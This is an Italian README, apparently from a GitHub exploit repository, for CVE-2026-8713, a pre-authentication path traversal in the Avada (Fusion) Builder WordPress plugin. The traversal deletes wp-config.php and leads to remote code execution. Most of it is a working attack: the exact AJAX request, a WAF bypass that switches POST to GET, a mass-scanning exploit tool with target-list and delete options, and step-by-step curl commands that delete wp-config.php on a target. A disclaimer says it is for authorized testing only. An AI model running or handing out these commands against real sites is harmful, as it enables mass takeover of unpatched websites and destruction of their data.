
Path traversal pre-autenticazione per cancellazione arbitraria di file in Avada (Fusion) Builder <= 3.15.3 che porta a RCE (CVSS 9.1)
CVE-2026-8713 è una vulnerabilità critica con CVSS 9.1 nel plugin/tema Avada (Fusion) Builder per WordPress. La funzione maybe_delete_files() nella classe Fusion_Form_DB_Entries costruisce percorsi del filesystem a partire da valori di campi del form controllati dall'attaccante utilizzando una semplice sostituzione di stringhe — senza validazione con o controlli di contenimento delle directory.
realpath()Un attaccante non autenticato invia un payload di path traversal tramite l'handler fusion_form_submit_ajax. Quando l'hook di spegnimento Fusion_Form_DB_Privacy elabora l'entry con privacy_expiration_action=delete, il file target viene rimosso dal server.
| Versione | Stato |
|---|---|
| Fusion Builder ≤ 3.15.3 | Vulnerabile |
| Fusion Builder ≥ 3.15.4 | Corretto |
| Tema Avada (tutti) | Il plugin incluso potrebbe essere vulnerabile |
Nota: La versione del tema Avada (7.x) differisce dalla versione del plugin Fusion Builder (3.x). La vulnerabilità è nel plugin, ma lo scanner le rileva entrambe.
In fusion-builder/inc/class-fusion-form-db-entries.php, il metodo maybe_delete_files() risolve i percorsi dei file utilizzando la sostituzione di stringhe senza validazione di contenimento:
$file_path = str_replace($upload['url'], $upload['path'], $value);
// Nessun controllo realpath() — le sequenze di path traversal passano
unlink($file_path);
1. L'attaccante invia un form Avada tramite wp_ajax_nopriv_fusion_form_submit_ajax
→ Path traversal: ../../wp-config.php
→ privacy_expiration_action = delete
→ privacy_expiration_interval = 0
2. L'hook di spegnimento di WordPress attiva Fusion_Form_DB_Privacy
→ Elabora l'entry del form memorizzata
→ Chiama maybe_delete_files() sul percorso controllato dall'attaccante
→ wp-config.php eliminato
3. WordPress entra in modalità di setup/installazione
→ L'attaccante connette il sito a un database malevolo
→ Esecuzione completa di codice remoto
L'handler AJAX è registrato con wp_ajax_nopriv_, rendendolo accessibile a utenti non autenticati:
POST /wp-admin/admin-ajax.php
action=fusion_form_submit_ajax
form_id=<id>
privacy_expiration_action=delete
fusion_privacy_expiration_interval=0
fusion_form_field_<name>=../../wp-config.php
Molti host bloccano POST a /wp-admin/admin-ajax.php. WordPress accetta parametri tramite GET su questo endpoint, fornendo un semplice bypass:
GET /wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=<id>&privacy_expiration_action=delete&...
git clone https://github.com/shinthink/CVE-2026-8713.git
cd CVE-2026-8713
pip install -r requirements.txt
# Solo rilevamento (predefinito — nessuna eliminazione di file)
python cve_2026_8713.py -t target.com
# Rilevamento massivo
python cve_2026_8713.py -f targets.txt
# Modalità exploit — elimina wp-config.php
python cve_2026_8713.py -t target.com --exploit
# Elimina file personalizzato
python cve_2026_8713.py -t target.com --exploit --delete "../../../debug.log"
-t, --target Singolo target (dominio o IP)
-f, --file Elenco target, uno per riga
--exploit Abilita eliminazione file (predefinito: solo rilevamento)
--delete PATH Percorso file personalizzato da eliminare (predefinito: wp-config.php)
-o, --output Salva risultati su file
--threads Workers (predefinito: 20)
-v, --verbose Mostra output dettagliato
$ python cve_2026_8713.py -f targets.txt
CVE-2026-8713 Avada (Fusion) Builder | CVSS 9.1
Mode: Detection | Targets: 521 | Workers: 20
───────────────────────────────────────────────────────
[EXPLOIT] target-vuln.com 1.2s form #3 (AJAX open)
[VULN] target-waf.com 2.1s form #1 (WAF blocked)
[AVADA] target-noform.com 0.5s (no form found)
[-] target-noavada.com 0.3s
───────────────────────────────────────────────────────
Scan complete | Time: 45s
───────────────────────────────────────────────────────
Targets : 521
Avada detected : 47
Forms found : 12
Vulnerable : 9
$ python cve_2026_8713.py -t target.com --exploit -v
CVE-2026-8713 — Avada Builder Exploit
CVSS 9.1 | Pre-Auth | Path Traversal → File Delete → RCE
[+] Found Avada form: id=3
[+] POST form_id=3: HTTP 403 (WAF blocked)
[+] GET form_id=3: HTTP 200 (WAF bypassed)
Host : target.com
Avada : YES
Form : 3
Deleted : wp-config.php (force reinstall → RCE)
Time : 3.2s
Passo 1 — Verifica Avada
curl -sk 'https://target.com/wp-content/themes/Avada/style.css' | head -5
Passo 2 — Trova l'ID del form
curl -sk 'https://target.com/' | grep -oP 'fusion-form[^"]*form-id=["\x27](https://github.com/shinthink/cve-2026-8713/blob/main/%5Cd%2B)'
Passo 3 — Invia il form con path traversal
curl -sk -X POST \
-d 'action=fusion_form_submit_ajax' \
-d 'form_id=3' \
-d 'privacy_expiration_action=delete' \
-d 'fusion_privacy_expiration_interval=0' \
-d 'fusion_form_field_x=../../wp-config.php' \
'https://target.com/wp-admin/admin-ajax.php'
Passo 4 — Bypass WAF (se POST è bloccato)
curl -sk 'https://target.com/wp-admin/admin-ajax.php?action=fusion_form_submit_ajax&form_id=3&privacy_expiration_action=delete&fusion_privacy_expiration_interval=0&fusion_form_field_x=../../wp-config.php'
Passo 5 — Verifica e sfrutta RCE
# Sito in modalità installazione?
curl -sk -o /dev/null -w '%{http_code}' 'https://target.com/wp-admin/install.php'
# HTTP 200 → wp-config eliminato → connetti database malevolo → RCE completa
SOLO A SCOPO EDUCATIVO E DI TEST AUTORIZZATI.
Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che controllano la propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.
L'accesso non autorizzato a sistemi informatici è illegale e può violare:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
Gli autori non si assumono alcuna responsabilità per un uso improprio.
| Risorsa | Link |
|---|---|
| IONIX Advisory | ionix.io/threat-center/cve-2026-8713 |
| Wordfence Advisory | wordfence.com |
| Patchstack | patchstack.com |
| NVD Entry | CVE-2026-8713 |
Questo progetto non è affiliato con ThemeFusion o Avada.